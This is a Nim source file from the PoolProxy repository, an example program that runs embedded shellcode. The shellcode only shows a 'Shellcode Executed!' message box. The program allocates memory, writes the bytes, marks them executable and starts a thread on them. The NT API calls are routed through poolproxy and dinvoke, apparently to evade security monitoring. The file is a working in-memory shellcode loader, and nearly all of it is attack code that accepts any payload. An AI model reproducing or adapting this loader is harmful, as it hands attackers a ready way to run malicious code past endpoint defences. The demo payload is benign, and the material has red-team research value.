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nbaertsch-PoolProxy/examples/shellcode.nim
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nbaertsch 7cff4837b2 initial commit
2024-05-26 20:20:18 -04:00

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## File: shellcode.nim
## Author: nbaertsch
##
## Example usage of 'PoolProxy' to execute shellcode
import winim/lean
import ../src/PoolProxy/PoolProxy
import nimvoke/dinvoke
# Message box shellcode
var shellcode = @[
byte 0x48, 0x83, 0xec, 0x28, 0xe8, 0x9f, 0x02, 0x00, 0x00, 0x48, 0x83, 0xc4,
0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x18, 0x65, 0x48, 0x8b, 0x04,
0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x04,
0x24, 0x48, 0x83, 0xc4, 0x18, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x4c, 0x24,
0x08, 0x48, 0x83, 0xec, 0x18, 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe, 0x00, 0x85, 0xc0, 0x74, 0x58,
0x8b, 0x04, 0x24, 0xc1, 0xe8, 0x0d, 0x8b, 0x0c, 0x24, 0xc1, 0xe1, 0x13,
0x0b, 0xc1, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe,
0x00, 0x83, 0xf8, 0x61, 0x7c, 0x11, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f,
0xbe, 0x00, 0x83, 0xe8, 0x20, 0x89, 0x44, 0x24, 0x04, 0xeb, 0x0c, 0x48,
0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe, 0x00, 0x89, 0x44, 0x24, 0x04, 0x8b,
0x44, 0x24, 0x04, 0x8b, 0x0c, 0x24, 0x03, 0xc8, 0x8b, 0xc1, 0x89, 0x04,
0x24, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x48, 0xff, 0xc0, 0x48, 0x89, 0x44,
0x24, 0x20, 0xeb, 0x9c, 0x8b, 0x04, 0x24, 0x48, 0x83, 0xc4, 0x18, 0xc3,
0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x18, 0xc7, 0x04, 0x24,
0x10, 0x00, 0x00, 0x00, 0x48, 0x63, 0x04, 0x24, 0x48, 0x8b, 0x4c, 0x24,
0x20, 0x48, 0x2b, 0xc8, 0x48, 0x8b, 0xc1, 0x48, 0x83, 0xc4, 0x18, 0xc3,
0x89, 0x4c, 0x24, 0x08, 0x48, 0x81, 0xec, 0x98, 0x00, 0x00, 0x00, 0xe8,
0x34, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8b, 0x44,
0x24, 0x58, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x40, 0x20, 0x48, 0x89,
0x44, 0x24, 0x50, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, 0x89, 0x44, 0x24,
0x40, 0x48, 0x8b, 0x4c, 0x24, 0x40, 0xe8, 0xa1, 0xff, 0xff, 0xff, 0x48,
0x89, 0x44, 0x24, 0x60, 0x48, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x00,
0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x48, 0x8b,
0x40, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x83, 0x7c, 0x24, 0x28,
0x00, 0x75, 0x05, 0xe9, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x44, 0x24,
0x28, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8b, 0x44, 0x24, 0x68, 0x48,
0x63, 0x40, 0x3c, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48,
0x8b, 0xc1, 0x48, 0x89, 0x44, 0x24, 0x70, 0xb8, 0x08, 0x00, 0x00, 0x00,
0x48, 0x6b, 0xc0, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x70, 0x8b, 0x84, 0x01,
0x88, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x34, 0x83, 0x7c, 0x24, 0x34,
0x00, 0x75, 0x05, 0xe9, 0x10, 0x01, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x34,
0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x48,
0x89, 0x44, 0x24, 0x38, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40, 0x0c,
0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x48,
0x89, 0x44, 0x24, 0x78, 0x48, 0x8b, 0x4c, 0x24, 0x78, 0xe8, 0x7a, 0xfe,
0xff, 0xff, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b,
0x40, 0x20, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b,
0xc1, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24,
0x20, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x0a, 0x8b, 0x44, 0x24, 0x20, 0xff,
0xc0, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40,
0x18, 0x39, 0x44, 0x24, 0x20, 0x0f, 0x83, 0x95, 0x00, 0x00, 0x00, 0x8b,
0x44, 0x24, 0x20, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8b,
0x04, 0x81, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b,
0xc1, 0x48, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8c,
0x24, 0x88, 0x00, 0x00, 0x00, 0xe8, 0x06, 0xfe, 0xff, 0xff, 0x8b, 0x4c,
0x24, 0x48, 0x03, 0xc8, 0x8b, 0xc1, 0x39, 0x84, 0x24, 0xa0, 0x00, 0x00,
0x00, 0x75, 0x50, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40, 0x24, 0x48,
0x8b, 0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x8b, 0x4c,
0x24, 0x20, 0x0f, 0xb7, 0x04, 0x48, 0x66, 0x89, 0x44, 0x24, 0x30, 0x48,
0x8b, 0x44, 0x24, 0x38, 0x8b, 0x40, 0x1c, 0x48, 0x8b, 0x4c, 0x24, 0x28,
0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0x0f, 0xb7, 0x4c, 0x24, 0x30, 0x8b,
0x04, 0x88, 0x89, 0x44, 0x24, 0x4c, 0x8b, 0x44, 0x24, 0x4c, 0x48, 0x8b,
0x4c, 0x24, 0x28, 0x48, 0x03, 0xc8, 0x48, 0x8b, 0xc1, 0xeb, 0x17, 0xe9,
0x4f, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, 0x39, 0x44,
0x24, 0x40, 0x0f, 0x85, 0x61, 0xfe, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x81,
0xc4, 0x98, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0x48, 0x81, 0xec, 0x98,
0x00, 0x00, 0x00, 0xb8, 0x75, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x38, 0xb8, 0x73, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x3a, 0xb8,
0x65, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x3c, 0xb8, 0x72, 0x00,
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x3e, 0xb8, 0x33, 0x00, 0x00, 0x00,
0x66, 0x89, 0x44, 0x24, 0x40, 0xb8, 0x32, 0x00, 0x00, 0x00, 0x66, 0x89,
0x44, 0x24, 0x42, 0xb8, 0x2e, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x44, 0xb8, 0x64, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x46, 0xb8,
0x6c, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x48, 0xb8, 0x6c, 0x00,
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x4a, 0x33, 0xc0, 0x66, 0x89, 0x44,
0x24, 0x4c, 0xb8, 0x53, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x20,
0xb8, 0x68, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x22, 0xb8, 0x65,
0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x24, 0xb8, 0x6c, 0x00, 0x00,
0x00, 0x66, 0x89, 0x44, 0x24, 0x26, 0xb8, 0x6c, 0x00, 0x00, 0x00, 0x66,
0x89, 0x44, 0x24, 0x28, 0xb8, 0x63, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44,
0x24, 0x2a, 0xb8, 0x6f, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x2c,
0xb8, 0x64, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x2e, 0xb8, 0x65,
0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x30, 0x33, 0xc0, 0x66, 0x89,
0x44, 0x24, 0x32, 0xb8, 0x45, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x50, 0xb8, 0x78, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x52, 0xb8,
0x65, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x54, 0xb8, 0x63, 0x00,
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x56, 0xb8, 0x75, 0x00, 0x00, 0x00,
0x66, 0x89, 0x44, 0x24, 0x58, 0xb8, 0x74, 0x00, 0x00, 0x00, 0x66, 0x89,
0x44, 0x24, 0x5a, 0xb8, 0x65, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x5c, 0xb8, 0x64, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x5e, 0xb8,
0x20, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x60, 0xb8, 0x73, 0x00,
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x62, 0xb8, 0x68, 0x00, 0x00, 0x00,
0x66, 0x89, 0x44, 0x24, 0x64, 0xb8, 0x65, 0x00, 0x00, 0x00, 0x66, 0x89,
0x44, 0x24, 0x66, 0xb8, 0x6c, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x68, 0xb8, 0x6c, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x6a, 0xb8,
0x63, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x6c, 0xb8, 0x6f, 0x00,
0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x6e, 0xb8, 0x64, 0x00, 0x00, 0x00,
0x66, 0x89, 0x44, 0x24, 0x70, 0xb8, 0x65, 0x00, 0x00, 0x00, 0x66, 0x89,
0x44, 0x24, 0x72, 0xb8, 0x21, 0x00, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x74, 0x33, 0xc0, 0x66, 0x89, 0x44, 0x24, 0x76, 0xc7, 0x44, 0x24, 0x78,
0xa3, 0x10, 0xb7, 0xf8, 0xb9, 0xa3, 0x10, 0xb7, 0xf8, 0xe8, 0x7a, 0xfc,
0xff, 0xff, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d,
0x4c, 0x24, 0x38, 0xff, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x44,
0x24, 0x7c, 0xb4, 0x78, 0x78, 0xcd, 0xb9, 0xb4, 0x78, 0x78, 0xcd, 0xe8,
0x54, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00,
0x45, 0x33, 0xc9, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x54, 0x24,
0x50, 0x33, 0xc9, 0xff, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x81,
0xc4, 0x98, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc]
when isMainModule:
var
hProcess: HANDLE = 0xFFFFFFFFFFFFFFFF # current process
objectAttributes: OBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES()
shellcodeSize: SIZE_T = shellcode.len.SIZE_T
baseAddr: PVOID
# test debug
dinvokeDefine(
ZwAllocateVirtualMemory,
"ntdll.dll",
proc (ProcessHandle: Handle, BaseAddress: PVOID, ZeroBits: ULONG_PTR, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.stdcall.}
)
echo "hProcess: ", toHex(hProcess)
echo "&baseAddr: ", toHex(cast[SIZE_T](&baseAddr))
echo "0: ", toHex(0)
echo "&shellcodeSize: ", toHex(cast[SIZE_T](&shellcodeSize))
echo "MEM_RESERVE or MEM_COMMIT: ", toHex(MEM_RESERVE or MEM_COMMIT)
echo "PAGE_READWRITE: ", toHex(PAGE_READWRITE)
discard stdin.readline
#[var status = poolproxy[NTSTATUS](ZwAllocateVirtualMemory,
"ntdll.dll",
hProcess,
&baseAddr,
0,
&shellcodeSize,
MEM_RESERVE or MEM_COMMIT,
PAGE_READWRITE
)]#
var status = poolproxy(NtAllocateVirtualMemory,
"ntdll.dll",
hProcess,
&baseAddr,
0.SIZE_T,
&shellcodeSize,
(MEM_RESERVE or MEM_COMMIT),
PAGE_READWRITE
)
echo status.toHex()
var bytesWritten: SIZE_T
# ZwWriteVirtualMemory
status = poolproxy[NTSTATUS](NtWriteVirtualMemory,
"ntdll.dll",
hProcess,
baseAddr,
&shellcode[0],
shellcodeSize.SIZE_T,
cast[PSIZE_T](&bytesWritten)
)
echo status.toHex()
# ZwProtectVirtualMemory
var oldProtect: DWORD
status = poolproxy[NTSTATUS](ZwProtectVirtualMemory,
"ntdll.dll",
hProcess,
&baseAddr,
&shellcodeSize,
PAGE_EXECUTE_READ,
&oldProtect
)
echo status.toHex()
# ZwCreateThreadEx
var hThread: HANDLE
#[ This exceeds the limit of 8 args that poolproxy allows for.
status = poolproxy(ZwCreateThreadEx,
"ntdll.dll",
&hThread,
GENERIC_EXECUTE,
NULL,
hProcess,
baseAddr,
NULL,
FALSE,
NULL,
NULL,
NULL,
NULL
)
]#
hThread = poolproxy[NTSTATUS](CreateThread,
"kernel32.dll",
NULL,
0,
cast[LPTHREAD_START_ROUTINE](baseAddr),
NULL,
0,
NULL
)
echo hThread.toHex()
WaitForSingleObject(hThread, INFINITE)
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